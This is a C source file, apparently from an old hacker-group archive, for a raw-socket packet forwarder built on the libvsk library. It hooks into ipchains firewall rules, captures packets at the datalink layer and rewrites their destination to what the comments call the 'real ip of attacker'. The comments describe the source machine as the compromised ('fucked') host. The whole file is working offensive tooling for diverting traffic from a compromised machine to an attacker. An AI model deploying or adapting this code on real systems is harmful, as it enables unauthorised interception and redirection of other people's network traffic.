home *** CD-ROM | disk | FTP | other *** search
- /*
- ** vecna - vecna@s0ftpj.org
- ** simple packet forwarder from datalink level
- ** using libvsk - unique file "spf.c"
- */
-
- #include "libvsk.h"
- #include <errno.h>
-
- extern int errno;
-
- #define fatal(M) { \
- perror(M); \
- exit(0); \
- }
-
- int check_dup(struct ipkt *);
- void setport(char *, char *, int[]);
-
- int main(int argc, char **argv)
- {
- int dlsfd, rsfd, opt, proto, forward, hdrincl =1, offset =0, x,
- port[4]={0, 0xFFFF, 0, 0xFFFF};
- /*
- ** datalink sockfd, raw sockfd, options index, proto
- ** listened, offset is size datalink protocol header
- ** port[4] array for puts source/dest/high/low port
- */
- char *iface;
- /*
- ** interface name.
- */
- char *ipsrc, *ipdst;
- /*
- ** ipsrc =fucked host, ipdst =bnc ip
- */
- unsigned int real;
- /*
- ** real ip of attacker where forward packets
- */
- char *rcvd =malloc(sizeof(struct ipkt));
- /*
- ** memory area where put packet, packet is readed with
- ** datalink header, offset is size of this header and
- ** is used on main cicle, *rcvd is delclared here for
- ** make only one allocation.
- */
-
- printf("\t simple packet forwarded for multiple pourpose\n");
- printf("\t by vecna - vecna@s0ftpj.org - www.s0ftpj.org\n\n");
-
- if(argc != 11)
- {
- printf( "\t usage %s -t -n -p -i -s"
- "\n\t -t source of packet"
- "\n\t -n new destination"
- "\n\t -s service (UDP/TCP) type (ICMP) 0 if any"
- "\n\t -p protocol"
- "\n\t -i interface"
- "\n",argv[0]);
- exit(0);
- }
-
- while(( opt = getopt(argc, argv, "t:n:i:p:s:")) != -1)
- {
- struct protoent *pe;
- switch(opt)
- {
- case 't':
- ipsrc =optarg;
- break;
- case 'n':
- if(( real =inet_addr(optarg)) == -1)
- {
- errno =EINVAL;
- fatal("-r option required IP");
- }
- break;
- case 'p':
- if ((pe = getprotobyname(optarg)) == NULL)
- fatal("getprotobyname");
- proto = pe->p_proto;
- break;
- case 'i':
- iface =optarg;
- break;
- case 's':
- if(!atoi(optarg))
- break;
- port[2] =port[3] =atoi(optarg);
- break;
- default:
- if(optarg)
- fprintf(stderr,"%s on",optarg);
- errno =EINVAL;
- fatal(" getopt()");
- break;
- }
- }
-
- ipdst =NULL;
-
- if(( dlsfd =set_vsk_param(ipsrc, ipdst, port,
- iface, proto, IO_IN, IP_FW_INSERT, 0, 0))<0)
- fatal("set_vsk: IP_FW_INSERT");
-
- /*
- ** IP_FW_DELETE must be used on signal(SIGCLOSE, unset_vsk());
- ** or use "ipchains -F", as in this example where filtering
- ** rules is not clean after end of program.
- */
-
- if((offset =get_offset(dlsfd, iface)) <0)
- fatal("get device offset");
-
- if((forward = socket(AF_INET, SOCK_RAW, proto)) == -1)
- fatal("forward socket - SOCK_RAW");
-
- if((x = setsockopt(forward, IPPROTO_IP, IP_HDRINCL,
- &hdrincl, sizeof(hdrincl))) == -1)
- fatal("setsockopt - IP_HDRINCL");
-
- while(1)
- {
- struct ipkt *packet;
- static int last_id;
-
- read(dlsfd, rcvd, sizeof(struct ipkt));
-
- (char *)packet = rcvd + offset;
-
- if(check_dup(packet))
- continue;
-
- /* questo e` il ciclo principale, in ordine:
- leggo sul socket a datalink quello che mi arriva, faccio un cast in una
- struttura ipkt che contiene ip header + buffer dati (in questo momento non
- conosco ancora il protocollo di livello inferiore) dopo aver sommato l'offset
- per levare l'header di livello 2, poi con check_dup controllo se e` il
- pacchetto che ho appena ristrasmesso o se e` un altro pacchetto, poi con
- check_packet controllo se e` uno dei pacchetti filtrati, poi ... vediamo il
- codice ... */
-
- if(check_packet(packet, packet->ip.protocol))
- {
- struct sockaddr_in sin;
-
- struct udphdr *udp;
- struct tcphdr *tcp;
- struct icmphdr *icmp;
-
- /** other manipulation on iphdr can applied here **/
- packet->ip.daddr = real;
- packet->ip.check = 0x00;
-
- /* bhe, e` abbastanza semplice, qui ho il pacchetto in una struttura
- ipkt, a seconda del campo "protocol" riesco a fare degli opportuni cast e
- lavorare anche su quell'header, dopo aver letto o cambiato o fatto qualunque
- cosa al pacchetto... */
-
- switch(packet->ip.protocol)
- {
- case IPPROTO_ICMP:
- (char *)icmp =(char *)packet
- +sizeof(struct iphdr);
- sin.sin_port =htons(0);
- break;
- case IPPROTO_TCP:
- (char *)tcp =(char *)packet
- +sizeof(struct iphdr);
- sin.sin_port =tcp->dest;
- break;
- case IPPROTO_UDP:
- (char *)udp =(char *)packet
- +sizeof(struct iphdr);
- sin.sin_port =udp->dest;
- break;
- default:
- printf(" PROTOCOL NOT SUPP\n");
- break;
- /*
- ** other manipulation at icmp/udp/tcp header
- ** can applied on switch()
- */
- }
-
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = packet->ip.daddr;
-
- x =resend(forward, packet, sin,
- ntohs(packet->ip.tot_len), NULL, 0);
- if(x < 0)
- fatal("sendto on forwarding packet");
- }
- }
- free(rcvd);
- /* never used :) */
- }
-
- int check_dup(struct ipkt *packet)
- {
- static int last_id;
- int id =htons(packet->ip.id);
-
- if(id ==htons(last_id))
- return 1;
-
- last_id =packet->ip.id;
-
- return 0;
- }
-